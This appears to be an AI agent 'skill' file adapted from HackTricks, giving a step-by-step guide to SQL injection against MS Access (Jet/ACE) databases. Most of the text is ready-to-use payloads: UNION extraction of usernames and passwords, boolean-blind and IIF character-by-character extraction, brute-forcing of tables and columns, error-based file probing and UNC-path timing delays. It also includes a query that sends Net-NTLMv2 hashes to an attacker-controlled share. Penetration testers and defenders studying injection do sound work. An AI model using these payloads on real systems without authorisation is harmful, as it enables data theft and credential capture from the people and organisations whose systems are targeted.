Hacktricks-skills ms-access-sqli

Use this skill whenever testing for SQL injection vulnerabilities in MS Access databases, including Jet/ACE database engines. Trigger on any mention of MS Access, .mdb files, Access database, or SQL injection testing against legacy ASP applications. This skill covers enumeration, data extraction, and advanced exploitation techniques specific to MS Access.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/sql-injection/ms-access-sql-injection/SKILL.MD
source content

MS Access SQL Injection Testing

A comprehensive guide for testing SQL injection vulnerabilities in Microsoft Access (Jet/ACE) databases. MS Access has unique characteristics that require specialized techniques.

Key MS Access Limitations

No Comments

MS Access doesn't support SQL comments. Use NULL character (

%00
) to terminate queries:

1' UNION SELECT 1,2 FROM table%00

Or fix syntax with a tautology:

1' UNION SELECT 1,2 FROM table WHERE ''='

No LIMIT - Use TOP/LAST

MS Access doesn't support

LIMIT
. Use
TOP
for first N rows and
LAST
for rows from the end:

-- Get first 3 rows
1' UNION SELECT TOP 3 attr FROM table%00

-- Get last row
1' UNION SELECT LAST(attr) FROM table%00

No Stacked Queries

MS Access doesn't support multiple statements in one query.

String Concatenation

Use

&
or
+
for string concatenation:

1' UNION SELECT 'web' & 'app' FROM table%00
1' UNION SELECT 'web' + 'app' FROM table%00

Core Techniques

Chaining Equals (Boolean Blind)

MS Access allows unusual syntax like

'1'=2='3'='asd'=false
. Use this for boolean-based blind SQLi:

Extract substring from current column:

'=(Mid(username,1,3)='adm')='

Extract from another table (requires table name):

'=(Mid((select last(username) from (select top 1 username from users)),1,3)='Alf')='

Brute-force table names:

'=(select top 1 'lala' from <table_name>)='
-1' AND (SELECT TOP 1 <table_name>)%00

Brute-force column names:

'=column_name='
-1' GROUP BY column_name%00
'=(SELECT TOP 1 column_name FROM valid_table_name)='

IIF-Based Data Extraction

Use

IIF()
to create boolean conditions that trigger different responses:

IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')

This returns

0
(200 OK) if true, or
'ko'
(500 error) if false. Adjust
TOP
and
MID
indices to extract all characters.

Time-Based Blind (UNC Path)

Jet/ACE doesn't have

SLEEP()
, but you can force delays via UNC paths:

' UNION SELECT 1 FROM SomeTable IN '\\10.10.14.3\doesnotexist\dummy.mdb'--

Point to:

  • A slow SMB share
  • A host that drops TCP after SYN-ACK
  • A firewall sinkhole

The HTTP response time reflects the round-trip latency.

Enumeration

Get Table Names

Via system table (if accessible):

SELECT MSysObjects.name
FROM MSysObjects
WHERE MSysObjects.type IN (1,4,6)
  AND MSysObjects.name NOT LIKE '~*'
  AND MSysObjects.name NOT LIKE 'MSys*'
ORDER BY MSysObjects.name

Via brute-force (chaining equals):

'=(select top 1 'lala' from <table_name>)='

Use common table names:

  • users
    ,
    admin
    ,
    accounts
    ,
    customers
    ,
    products
  • orders
    ,
    invoices
    ,
    payments
    ,
    transactions
  • employees
    ,
    departments
    ,
    categories

Get Column Names

Current table:

'=column_name='
-1' GROUP BY column_name%00

Other table:

'=(SELECT TOP 1 column_name FROM valid_table_name)='

Common columns:

username
,
password
,
email
,
id
,
name
,
created
,
updated

Data Extraction Patterns

UNION-Based

-1' UNION SELECT username,password FROM users%00

Note: MS Access requires a

FROM
clause in all subqueries and UNIONs. You must know a valid table name.

Boolean-Based (Character by Character)

Extract username from

users
table:

-- Position 1, character 'a'
'=(Mid((select last(username) from (select top 1 username from users)),1,1)='a')='

-- Position 2, character 'd'
'=(Mid((select last(username) from (select top 1 username from users)),2,1)='d')='

Increment

TOP
to get different rows, increment
MID
position to get different characters.

Error-Based

Web root path disclosure:

1' UNION SELECT 1 FROM FakeDB.FakeTable%00

File existence check:

1' UNION SELECT name FROM msysobjects IN '\\boot.ini'%00
1' UNION SELECT 1 FROM C:\boot.ini.TableName%00

Database filename guessing:

1' UNION SELECT 1 FROM name[i].realTable%00

Advanced: NTLM Credential Theft

Since Jet 4.0, queries can reference remote databases via

IN '<path>'
:

1' UNION SELECT TOP 1 name
   FROM MSysObjects
   IN '\\attacker\share\poc.mdb'--

Impact:

  • Out-of-band exfiltration of Net-NTLMv2 hashes
  • Potential RCE via Jet/ACE parser bugs (e.g., CVE-2021-28455)

Requirements:

  • Registry key
    AllowQueryRemoteTables
    must not be set to
    0
  • Outbound SMB/WebDAV must not be blocked

Mitigation:

  • Set
    HKLM\Software\Microsoft\Jet\4.0\Engines\AllowQueryRemoteTables = 0
  • Block outbound SMB/WebDAV at network boundary

Useful Functions

FunctionDescriptionExample
Mid(str, pos, len)
Substring (1-indexed)
Mid('admin',1,1)
→ 'a'
LEN(str)
String length
LEN('1234')
→ 4
ASC(char)
ASCII value
ASC('A')
→ 65
CHR(code)
Char from ASCII
CHR(65)
→ 'A'
IIF(cond, a, b)
If-then-else
IIF(1=1,'a','b')
→ 'a'
COUNT(*)
Count rows
COUNT(*)
TOP n
First n rows
SELECT TOP 10 * FROM t
LAST(col)
Last value
SELECT LAST(id) FROM t

Testing Workflow

  1. Confirm SQLi - Test basic injection with
    '
    and
    UNION SELECT
  2. Determine column count - Use
    ORDER BY
    or
    UNION SELECT NULL,NULL,...
  3. Identify table - Brute-force with chaining equals or query
    MSysObjects
  4. Identify columns - Use
    GROUP BY
    or brute-force with chaining equals
  5. Extract data - Use UNION-based if possible, otherwise boolean-based
  6. Check for advanced vectors - UNC path for NTLM theft, file access

Scripts

See

scripts/
directory for:

  • generate_payloads.py
    - Generate MS Access SQLi payloads
  • brute_tables.py
    - Brute-force table names
  • extract_data.py
    - Extract data character-by-character

References